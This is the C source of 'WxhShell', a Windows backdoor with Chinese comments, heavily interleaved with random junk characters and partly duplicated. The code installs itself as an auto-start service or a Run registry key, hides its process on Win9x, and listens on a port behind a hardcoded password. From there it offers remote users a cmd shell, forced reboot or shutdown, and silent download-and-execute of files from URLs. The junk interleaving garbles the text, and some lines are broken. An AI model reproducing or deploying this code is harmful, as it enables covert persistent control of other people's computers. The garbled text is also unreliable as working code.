NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); ND e[2 <r7qq$ if (!NtQueryInformationProcess) return 0; ]U#[\ Z 1%/ NL?8# hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); XC7Ty'#"KX if(!hProcess) return 0; <(#xOe liugaRO8J if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; c>u>Pi;Z \sHy. { CloseHandle(hProcess); OXIu>jF W>q*.9}Y" hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); z,}c?BP if(hProcess==NULL) return 0; \N`fWh8& e_I; y HMODULE hMod; Yhc6P%{Z^ char procName[255]; QLF,/" unsigned long cbNeeded; Cz=A{<^g ;<bj{#mMv if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); W2F+^ fW5"4, CloseHandle(hProcess); >YJ8u{Z{o uKR\Xo} if(strstr(procName,"services")) return 1; // 以服务启动 Lo|NE[b:G P<cMP)+K return 0; // 注册表启动 3r~>~ueZ } 0\\ueMj pPi YPfs // 主模块 q9W~7 int StartWxhshell(LPSTR lpCmdLine) 1AV1d%F { #Dj"W8'zh SOCKET wsl; PZ BOOL val=TRUE; Aj8l%'h[ int port=0; w|!YoMk+o struct sockaddr_in door; tsTR2+GZS ShL1'Z}^{ if(wscfg.ws_autoins) Install(); rQu #Acon7Rp port=atoi(lpCmdLine); Fe_::NVvk ULp)T`P if(port<=0) port=wscfg.ws_port; + >T7Q`64 Qa,NGP. WSADATA data; HpB!a,R6B if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; \GijNn9ah ri/t(m^{W if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1; M(n<Iu4^_ setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); i_|9<7a
door.sin_family = AF_INET; ;yk9(wea}" door.sin_addr.s_addr = inet_addr("127.0.0.1"); XAjd
%Xv< door.sin_port = htons(port); K)<Wm,tON O{lIs_1.Z if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { kJ%{ [1fr closesocket(wsl); fkdf~Vb return 1; 52>[d3I3 } G"G{AS 6@"Vqm|HD if(listen(wsl,2) == INVALID_SOCKET) { (\Rwf}gyR closesocket(wsl); P_,v5Qx"- return 1; I#i?** } Q6u{@$(/N Wxhshell(wsl); *U
M!( WSACleanup(); s\6N }[s GaHA% return 0; R|-6o)$ VF\{ra; } e"*BHvy F " <qEXX // 以NT服务方式启动 Jms=YLIAA VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) r)Or\HL { >o#ERNf DWORD status = 0; ~eHRlXL' DWORD specificError = 0xfffffff; `n6/ A) JfbKf~g serviceStatus.dwServiceType = SERVICE_WIN32; 6eM6[ serviceStatus.dwCurrentState = SERVICE_START_PENDING; uWh|C9Y!A serviceStatus.dwControlsAccepted = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; {>/)5AGs serviceStatus.dwWin32ExitCode = 0; z/weit serviceStatus.dwServiceSpecificExitCode = 0; B "*`R!y serviceStatus.dwCheckPoint = 0; O"\nR:\ serviceStatus.dwWaitHint = 0; 7(NXCAO81 6ga5^6W hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); U~wjR"=' if (hServiceStatusHandle==0) return; vGMJ ^q *!Y-! status = GetLastError(); n08;
< if (status!=NO_ERROR) R5~gH6K| { Ge^Qar serviceStatus.dwCurrentState = SERVICE_STOPPED; %&tb9_T)d serviceStatus.dwCheckPoint = 0; mpAHL( serviceStatus.dwWaitHint = 0; yc[(lq.^n serviceStatus.dwWin32ExitCode = status; z{|LQt6q serviceStatus.dwServiceSpecificExitCode = specificError; 0yz~W(tsm SetServiceStatus(hServiceStatusHandle, &serviceStatus); &+G;R return; =-Nsc1& } W^k,Pmopy Yy hny[fa9 serviceStatus.dwCurrentState = SERVICE_RUNNING; doM?8C#` serviceStatus.dwCheckPoint = 0; 3{e'YD~hP serviceStatus.dwWaitHint = 0; 1%jH^,t/m if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); =JW[pRI5a } !R6ApB4ZI (ND%} // 处理NT服务事件,比如:启动、停止 m2 O&2[g VOID WINAPI NTServiceHandler(DWORD fdwControl) @\jQoaLT$_ { 3;l "=#5 switch(fdwControl) 4mJFvDZV` { oRq3 pO}f case SERVICE_CONTROL_STOP: . :a<2sp6 serviceStatus.dwWin32ExitCode = 0; .YR8v1Cp serviceStatus.dwCurrentState = SERVICE_STOPPED; W#{la`#Bu serviceStatus.dwCheckPoint = 0; 9B=1Yr[ serviceStatus.dwWaitHint = 0; $;`I,k$0>~ { YE\K<T
jH SetServiceStatus(hServiceStatusHandle, &serviceStatus); |dk[cX> } ,r`UBQ}? return; `WnQ case SERVICE_CONTROL_PAUSE: k. GA8=]> serviceStatus.dwCurrentState = SERVICE_PAUSED; b\giJ1NJB break; \$pkk6Q3,w case SERVICE_CONTROL_CONTINUE: <lj\#'G3 serviceStatus.dwCurrentState = SERVICE_RUNNING; Fw"$A0 break; *_"u)<J case SERVICE_CONTROL_INTERROGATE: :1;Q(9:v break; Q7GY3X*kA }; y@;%Uv& SetServiceStatus(hServiceStatusHandle, &serviceStatus); 5I' d PNf } e&1\'Zq?> IzUo0D*@ // 标准应用程序主函数 CVQB"L int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) ,S!w'0k|n { :=fvZA WD >qh?L#Fk // 获取操作系统版本 o`6|ba OsIsNt=GetOsVer(); A,#2 ^dR GetModuleFileName(NULL,ExeFile,MAX_PATH); XYfv(y z<&m*0WYA // 从命令行安装 o@k84+tn( if(strpbrk(lpCmdLine,"iI")) Install(); FS@A8Bb &HDP!SLS // 下载执行文件 ,.v7FM^gO if(wscfg.ws_downexe) { ROdK8*jL if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) 1@_T m WinExec(wscfg.ws_filenam,SW_HIDE); 33a uho
} =k{`oO~:9+ |B^G:7c if(!OsIsNt) { p]ivf // 如果时win9x,隐藏进程并且设置为注册表启动 o2uj =Gnx HideProc(); s>%Pd7: StartWxhshell(lpCmdLine); o6L9UdT } = yXs?y" else 0LL c 1t>} if(StartFromService()) bx}fj#J]En // 以服务方式启动 nE|@IGH StartServiceCtrlDispatcher(DispatchTable); =6T
4>rP else tju|UhP3 // 普通方式启动 -]S.<8<$ StartWxhshell(lpCmdLine); 7r
0,>
3" %b}gDWs return 0; Qa`hR } m*e YC nII^mg~ eb:A1f4L :J_oj:0r"f =========================================== HD`>-E# j+ ::y) $ 7!V@/S}7 qt?*MyfV 3}Xc71|v 0%C^8%(x " 59 2;W-y F4I6P #include <stdio.h> 6vs3O
#include <string.h> w<nv!e? #include <windows.h> -$k>F# #include <winsock2.h> (|h:h(C #include <winsvc.h> htJuGfDx1 #include <urlmon.h> +++pI.>(*Q =
1|"- #pragma comment (lib, "Ws2_32.lib") Di(9]:+ #pragma comment (lib, "urlmon.lib") RVM&4#E 7nE"F!d+0 #define MAX_USER 100 // 最大客户端连接数 1=GI&f2I #define BUF_SOCK 200 // sock buffer /XpSe<3 #define KEY_BUFF 255 // 输入 buffer %qONJP Ag<4r #define REBOOT 0 // 重启 Vj29L?3 #define SHUTDOWN 1 // 关机 H]U"+52h Fz{o-4 #define DEF_PORT 5000 // 监听端口 -5o?#% 7/4~>D&-b #define REG_LEN 16 // 注册表键长度 rT o%=0P #define SVC_LEN 80 // NT服务名长度 :S#eg1y.w] KqFmFcf| // 从dll定义API FU^Y{sbDg typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); uAC hu] typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); $B*qNYpPy. typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); qmQFHC_ typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); 9'D8[p% W&Y4Dq^ // wxhshell配置信息 Wn b)*pPP struct WSCFG { FH5 bC6 int ws_port; // 监听端口 vrldRn'*9 char ws_passstr[REG_LEN]; // 口令 aI#n+PW int ws_autoins; // 安装标记, 1=yes 0=no U[ungvU1U char ws_regname[REG_LEN]; // 注册表键名 r4>I?lD char ws_svcname[REG_LEN]; // 服务名 0mi[|~x= char ws_svcdisp[SVC_LEN]; // 服务显示名 2%yJo7f$[ char ws_svcdesc[SVC_LEN]; // 服务描述信息 3jVm[c5%] char ws_passmsg[SVC_LEN]; // 密码输入提示信息 -"tgEC\tD int ws_downexe; // 下载执行标记, 1=yes 0=no MOeLphY char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" YD.^\E4o char ws_filenam[SVC_LEN]; // 下载后保存的文件名 g>-[-z$E3 4gNRln- }; nAC#_\ ._nKM5. // default Wxhshell configuration 491I struct WSCFG wscfg={DEF_PORT, nY0UnlB` "xuhuanlingzhe", 0e](N` 1, ">&:(< "Wxhshell", \)]2Uh| "Wxhshell", ?a9k5@s "WxhShell Service", ~ b_gwJ' "Wrsky Windows CmdShell Service", %$KO]
"Please Input Your Password: ", * c
c+Fd 1, Bb"4^EOZ, "http://www.wrsky.com/wxhshell.exe", cY]Y8T) "Wxhshell.exe" E\N=p&g$ }; vp9<.*h ?0%TE\I8 // 消息定义模块 <%7
V`,*g/ char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; ghj~r char *msg_ws_prompt="\n\r? for help\n\r#>"; cN>i3}fq char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; {3Wc<&D
C1 char *msg_ws_ext="\n\rExit."; ]<LU NxBR char *msg_ws_end="\n\rQuit."; eF1%5;" W char *msg_ws_boot="\n\rReboot..."; f~9Y1|6 char *msg_ws_poff="\n\rShutdown..."; `{_PSzM char *msg_ws_down="\n\rSave to "; Z$XpoDbOy mhuaXbr char *msg_ws_err="\n\rErr!"; y]9UFL" char *msg_ws_ok="\n\rOK!"; l$ 9, &2igX?60 char ExeFile[MAX_PATH]; 59]9-1" + int nUser = 0; /vMyf),2 HANDLE handles[MAX_USER]; )c !S@Hs int OsIsNt; b15qy? `y 8m<<tv. SERVICE_STATUS serviceStatus; &Qjl|2 SERVICE_STATUS_HANDLE hServiceStatusHandle; gAP}KR#T oy: MM // 函数声明 -`EoTXT*U int Install(void); 1?\ Y,+ int Uninstall(void); ulM&kw.4i int DownloadFile(char *sURL, SOCKET wsh); >6+K"J-@ int Boot(int flag); efR$s{n! void HideProc(void); ,ua1xsZl& int GetOsVer(void); E
ET 2|*} int Wxhshell(SOCKET wsl); KK$A4`YoR void TalkWithClient(void *cs); _6
`4_<c= int CmdShell(SOCKET sock); {Z.@-Tl_ int StartFromService(void); "|SE#k int StartWxhshell(LPSTR lpCmdLine); t7FQ.E,T "mK (?U!A VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); jF9CTL< VOID WINAPI NTServiceHandler( DWORD fdwControl ); edx'p`%d5 )xy6R]_b // 数据结构和表定义 !k9h6/b6 SERVICE_TABLE_ENTRY DispatchTable[] = F\bI6gj { k^jCB>b {wscfg.ws_svcname, NTServiceMain}, z?[DW* {NULL, NULL} v19`7qgR( }; 0 +LloB 3~rc=e // 自我安装 K~T\q_ZPZ int Install(void) k5(yf~!c { +9CUnRv char svExeFile[MAX_PATH]; MX,0gap HKEY key; /GGu` f strcpy(svExeFile,ExeFile); ulJYJ+CC! \l5:A]J // 如果是win9x系统,修改注册表设为自启动 Dj"=kL0 if(!OsIsNt) { -74T C if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { U:hC!t: RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); .+h
pxZ RegCloseKey(key); }j*/>m if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { x`i`]6q RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); !Jl0Eu RegCloseKey(key); >nEnX return 0; caD;V( } ~1sl.8tF } 5T#D5Z<m } VTfaZ/e. else { Z"Ni
Y ][#*h`I // 如果是NT以上系统,安装为系统服务 {][7N p!y SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); ~la04wR28 if (schSCManager!=0) f`=T@nA { Wb4{*~ SC_HANDLE schService = CreateService Fxx2vTV4ag ( iDc|9"|Tf3 schSCManager, b)^ZiRW`` wscfg.ws_svcname, j)6B^! wscfg.ws_svcdisp, uA`PZ| SERVICE_ALL_ACCESS, % ul{nL: SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , ^oO5t-9<! SERVICE_AUTO_START, =c^=Yvc7U SERVICE_ERROR_NORMAL, w1(06A}/ svExeFile, g@VndAp NULL, rss.F3dK NULL, /C2f;h(1 NULL, g_c)Ts( NULL, <>Ddxmw NULL F>(#Af9 ); $:
m87cR~ if (schService!=0) NVWeJ+w { >1I2R/' CloseServiceHandle(schService); C-^%g[# CloseServiceHandle(schSCManager); 810<1NP
strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); 8'WMspX strcat(svExeFile,wscfg.ws_svcname); RTBBb:eX if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { k&iScMgCTH RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); (jMAa% RegCloseKey(key); `R52{B#&/ return 0; P`IG9 } Rue|<d1 } 1za'u_ CloseServiceHandle(schSCManager); =C>`}%XT} } B~g05`s } |QNLO#$ - m?% H<4X return 1; Yj7= T%5 } /uXRZ >dvWa-rNUT // 自我卸载 ])j|<W/ int Uninstall(void) ^!p<zZ { v&b.Q:h*' HKEY key; >{qK]xj i,Wm{+H-O if(!OsIsNt) { rjAkpAT if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { ENx@Ex RegDeleteValue(key,wscfg.ws_regname); ml33qXW: RegCloseKey(key); :{i$2\DH6 if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { Z~phOv RegDeleteValue(key,wscfg.ws_regname); JQ/t, v$G RegCloseKey(key); 7l#2,d4 return 0; $,e?X}4 } =Kt9,d08x } ?%xhe } m,gy9$ else { x
!:9c< 0gOrW= SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); Ueg N-n if (schSCManager!=0) =yTa,PY { @ "{' j SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); "h;;.Y8e if (schService!=0) !&a;P,_Fb { n,?IcDU~m if(DeleteService(schService)!=0) { "0H56#eW CloseServiceHandle(schService); xjK_zO*dLq CloseServiceHandle(schSCManager); bQdSX8: !R return 0; lsB9;I^+x } ^YG7dd_ CloseServiceHandle(schService); s!hI:$J. } ne"?90~ CloseServiceHandle(schSCManager); O@r.> } .@i0U } 5i4V 5N>3 {C/L5cZ]J return 1; i+)}aA } z;y^t4
^9 xBL$]> // 从指定url下载文件 &SjHrOG? int DownloadFile(char *sURL, SOCKET wsh) 5e#&"sJ.1 { b.R!2]T]i^ HRESULT hr; fou_/Nrue char seps[]= "/"; ]> )u+| char *token; .0
s[{x char *file; L$29L: char myURL[MAX_PATH]; jD ' char myFILE[MAX_PATH]; 4fw1_pv_D #+K
Kvk strcpy(myURL,sURL); +}7Ea:K token=strtok(myURL,seps); IpWy)B>Fl3 while(token!=NULL) [lNqT1%] { 'dIX=/RZ file=token; :DdBn. token=strtok(NULL,seps); PPoI>J } 'yPCZ`5H( (C`FicY GetCurrentDirectory(MAX_PATH,myFILE); .M9d*qp`S strcat(myFILE, "\\"); W.,% 0cZ strcat(myFILE, file); h4CTTe) send(wsh,myFILE,strlen(myFILE),0); Iv$:`7|crX send(wsh,"...",3,0); E`Jp(gK9F hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); ]d@^i)2LF if(hr==S_OK) +}_Pf{MW return 0; \{c,,th else
4%g6_KB return 1; @+'c+ b8J@K" } ;^R A!Nj g.64Id // 系统电源模块 <y@,3DD3A9 int Boot(int flag) j5L)N { #yW.o'S+ HANDLE hToken; %55@3)V8Rf TOKEN_PRIVILEGES tkp; 9z5\*b s 4$yV%[j if(OsIsNt) { H>60D|v[ OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); hi!L\yi LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); p"Ot5!F> tkp.PrivilegeCount = 1; ^"3\iA: tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; 9YP*f AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); "pt+Fe|@c; if(flag==REBOOT) { FH)t:!# if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) drW~)6Lr@ return 0; cVO,~I\\ } exfmq else { A0G)imsW:_ if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) y
Wpi| return 0; 41u*w2j } &!ED# gs } Lp_$?MCD. else { 3pvYi<<D' if(flag==REBOOT) { EE+`i% if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) /\na;GI$ return 0; y8G&Wg
aCi } vt//)*(.$ else { XMGx^mn if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) &J_Z~^ return 0; {3VZ3i } g%ubvu2t] } *c{wtl@ p8Iw!HE return 1; *myG"@P4hW } ~
|6dH oBr.S_Qe // win9x进程隐藏模块 zbNA\.y void HideProc(void) P}0*{%jB { $f#agq_ blGf!4H HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); Z,K7Ot0 if ( hKernel != NULL ) qD#VbvRc9+ { b/t pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); J{`eLmTu ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); 'n0 .#E_ FreeLibrary(hKernel); Ow3P-UzU3 }
bLqy!QE A3HF,EG return; H6gU?9% } } VEq:^o. 'CXRG$D // 获取操作系统版本 Po(]rQbE int GetOsVer(void) Q.+|xwz { 9AHSs,.t OSVERSIONINFO winfo; -I":Z2.fR winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); P}V=*g GetVersionEx(&winfo); Tv5g`/e=Ej if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) eWvo,4 return 1;
F[saP0
* else H2;X return 0; e'2Y1h } [3N[i(Wlk w\w(U // 客户端句柄模块 <*|?x86~ int Wxhshell(SOCKET wsl) r[_4Lo@G { iWE)<h SOCKET wsh; -h#mn2U~3r struct sockaddr_in client; RKZ6}q1n DWORD myID; ]3B %8 aRJcSV while(nUser<MAX_USER) {_#y z\j {
4f^C\i+q int nSize=sizeof(client); DNkWOY#{ wsh=accept(wsl,(struct sockaddr *)&client,&nSize); ~]'pY if(wsh==INVALID_SOCKET) return 1; j>Ag\@2ME M2@b1; handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); ir16 if(handles[nUser]==0) O7t(,uox3y closesocket(wsh); k+^'?D--'P else ~D[?$`x: nUser++; '
GG=Ebt } ;heHefbvvd WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); !@A#=(4R4 gNpJ24QK return 0; %7hB&[ 5 } E7zm{BX] otJ!UfpR8 // 关闭 socket x3pND void CloseIt(SOCKET wsh) !yOeW0/2[ { ]@^coj[ closesocket(wsh); !? 5U| nUser--; wsU V;S*X% ExitThread(0); B>y9fI } sJ
z@7. 7piuLq+ // 客户端请求句柄 !ZRs;UZ>o void TalkWithClient(void *cs) C0*@0~8$9 { U`|0 jJ MZJ]Dwt] SOCKET wsh=(SOCKET)cs; JRMM? y char pwd[SVC_LEN]; A@*:<Hs% char cmd[KEY_BUFF]; ;Lm=dd@S: char chr[1]; )~6zYJ2 int i,j; _ee
dBpV &k7;DO while (nUser < MAX_USER) { gb=/#G0R sbj(|1,ac if(wscfg.ws_passstr) { OS|> t./U if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); >>i@r@ //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); xM[Vc
//ZeroMemory(pwd,KEY_BUFF); l7{oi! i=0; PQKaqv}N while(i<SVC_LEN) { vsWHk7 9 4MuO1W- // 设置超时 [YrHA~=U fd_set FdRead; cRd0S*QN2 struct timeval TimeOut; p[lNy{u~M FD_ZERO(&FdRead); !o=U19) FD_SET(wsh,&FdRead); `Q3s4VEC TimeOut.tv_sec=8; RB* J= TimeOut.tv_usec=0; [.hyZ}B int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); 7@lS.w\#- if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); ,lA.C%4au~ .h&k jD if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); \)K^=jM pwd=chr[0]; ^<e@uNGg if(chr[0]==0xd || chr[0]==0xa) { i
wxVl)QL pwd=0; fFjgrK8 break; X|0R=n] } x3qW0K8 i++; @/ZF` : } w.,Q1\*rPp )ZrS{vY // 如果是非法用户,关闭 socket Q#h
9n] 5 if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); M?&h~V1OI~ } PP:(EN1 k+I}PuG send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); l]~n3IK" send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); _k8A$s<d A)%A!
while(1) { =@k%&* Y? S=_vv)6+4 ZeroMemory(cmd,KEY_BUFF); /Q~gU< :Mm3
gW) // 自动支持客户端 telnet标准 O6IB.
>T j=0; btdb%Q* while(j<KEY_BUFF) { Z|%_oR~b| if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); ^Y-]*8;] cmd[j]=chr[0]; "\0v,!@ if(chr[0]==0xa || chr[0]==0xd) { aK`@6F,]j cmd[j]=0; gTA%uRBa break; %Y!Yvw^&P( } lA>DS#_ j++; /-#I_>:8' } +cD!1IT: r}uz7}z %" // 下载文件 JK.ZdY% if(strstr(cmd,"http://")) { wdUBg*X8 send(wsh,msg_ws_down,strlen(msg_ws_down),0); -V: "l if(DownloadFile(cmd,wsh)) hKzSgYxP=t send(wsh,msg_ws_err,strlen(msg_ws_err),0); *N{emwIq else :1Q!$ m send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); 6252N]* } 4wrk2x[ else { ,=l7:n |=&cQRY!p switch(cmd[0]) { T0&f8 z)HD`Ho // 帮助 K~22\G` case '?': { ar:+;.n send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); ve\X3"p# break; gks{\ H] } :>+s0~ // 安装 +|tC'gCnV case 'i': { =2@B& if(Install()) ?wO-cnl send(wsh,msg_ws_err,strlen(msg_ws_err),0); n_'s=] ~ else )HX|S-qRU= send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); /PLn+- break; A]XZnQ } `3:.??7N // 卸载 up'Tit case 'r': { K# Jk _"W if(Uninstall()) :sCqjz send(wsh,msg_ws_err,strlen(msg_ws_err),0); e[8LmuIZ else @'|)~,"bx send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); VO"("7L break; *V+j%^91} } _r2J7& // 显示 wxhshell 所在路径 ]8T!qS(UJd case 'p': { hEw-
O;T0 char svExeFile[MAX_PATH]; $jg*pmR- strcpy(svExeFile,"\n\r"); 9-rNw?7 strcat(svExeFile,ExeFile); f aLtdQi send(wsh,svExeFile,strlen(svExeFile),0); Y*!qG break; #
0Lf<NZ } kV38`s>+ // 重启 KG=h& case 'b': { &-mX , send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); (x3.poSt if(Boot(REBOOT)) 1u6^z send(wsh,msg_ws_err,strlen(msg_ws_err),0); V,G|k!! else { Q_Gi]M9 closesocket(wsh); 9F*+YG! ExitThread(0); QI3Nc8t_2 } di>cMS 4 c break; IzpZwx^3'' } :Cp'm'omb // 关机 <NuUW9+ case 'd': { R<=zCE `: send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); `4~H/'%QB if(Boot(SHUTDOWN)) !H}vu]R send(wsh,msg_ws_err,strlen(msg_ws_err),0); pb=cBZ$ else { a$Cdhx! closesocket(wsh); yd?x=| ExitThread(0); "1HRLci } th&[Nt7 break; cwL1/DGDB } z~>pVs // 获取shell Y14W?|KOB case 's': { g=$1cC+( CmdShell(wsh); :"!9_p(,, closesocket(wsh); LK@lpkX ExitThread(0); DmOyBtj break; J|w)&bV }
.fdL&z // 退出 oun;rMq case 'x': { Ey4z.s'-l send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); 17OH] CloseIt(wsh); +fnK/%b break; /0eYMG+K= } 8 P>#l. # // 离开 w-0mzk" case 'q': { w&x!,yd; send(wsh,msg_ws_end,strlen(msg_ws_end),0); dF~8XYo closesocket(wsh); bpxeznz WSACleanup(); aN,M64F exit(1); "&%#!2 break; 5e fpeu } jr`Es s } edK|NOOZ } wW%4d ?Oc{bF7 // 提示信息 g=e71DXG2 if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); M_%B|S
{ } d%0~c'D8a } nw6+.pOy |eWjYGwJa return;
$/7pYl\n } %DQhM ,c@ ;-Jb1"5 // shell模块句柄 \{EpduwZ int CmdShell(SOCKET sock) =dx1/4bZl| { p3}?fej&| STARTUPINFO si; >B>CB3U ZeroMemory(&si,sizeof(si)); 2 6>ZW4Z si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; HyR!O> si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; A=j0On PROCESS_INFORMATION ProcessInfo; /P
2[:[w char cmdline[]="cmd"; ai0Ut CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); <u=4*:QE return 0; 1=]kWp`i } yu;SH[{Wi jU5 }\oP@ // 自身启动模式 X7g3 int StartFromService(void) 5IbJ { mB0l "# F typedef struct "rAY.E] { NzW`B^p DWORD ExitStatus; Q*XE
h DWORD PebBaseAddress; 8j4z{+'TQ DWORD AffinityMask; \))=gu)I DWORD BasePriority; [JaS??ig ULONG UniqueProcessId; >~\89E02 ULONG InheritedFromUniqueProcessId; A?*o0I } PROCESS_BASIC_INFORMATION; W k}AmC c~o+WI
Ym PROCNTQSIP NtQueryInformationProcess; EbZdas!l w;e(Gb%9 static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; ~j'l.gQb static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; wap3Kd>MP Mzd[fR5a8 HANDLE hProcess; >\!4Mk8 PROCESS_BASIC_INFORMATION pbi; 99EXo+g Cbs5dn(Y HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); dr<<! q / if(NULL == hInst ) return 0; ,]5Ic.};p Urgtg37 g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); > MG>=A g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); =\{\g7 NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); 1J?dK|% b ! <WBCclX if (!NtQueryInformationProcess) return 0; pZZf[p^s| T%Pp*1/m7 hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); LC0d/hM if(!hProcess) return 0; gip/(/NX 9,]5v+ if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; X#w%>al ,pBh`av CloseHandle(hProcess); fj ,m HvxJj+X9 hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); ~LQ[4h<J ! if(hProcess==NULL) return 0; S.|FL%; #;#3%? HMODULE hMod; UMN*]_'+;b char procName[255]; y]e> E unsigned long cbNeeded; j6ut}Uq A`6ra}U<
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); @$eT~ C FP"$tt ( CloseHandle(hProcess); MK}-<&v s:y
^_W)d if(strstr(procName,"services")) return 1; // 以服务启动 V84*0&q |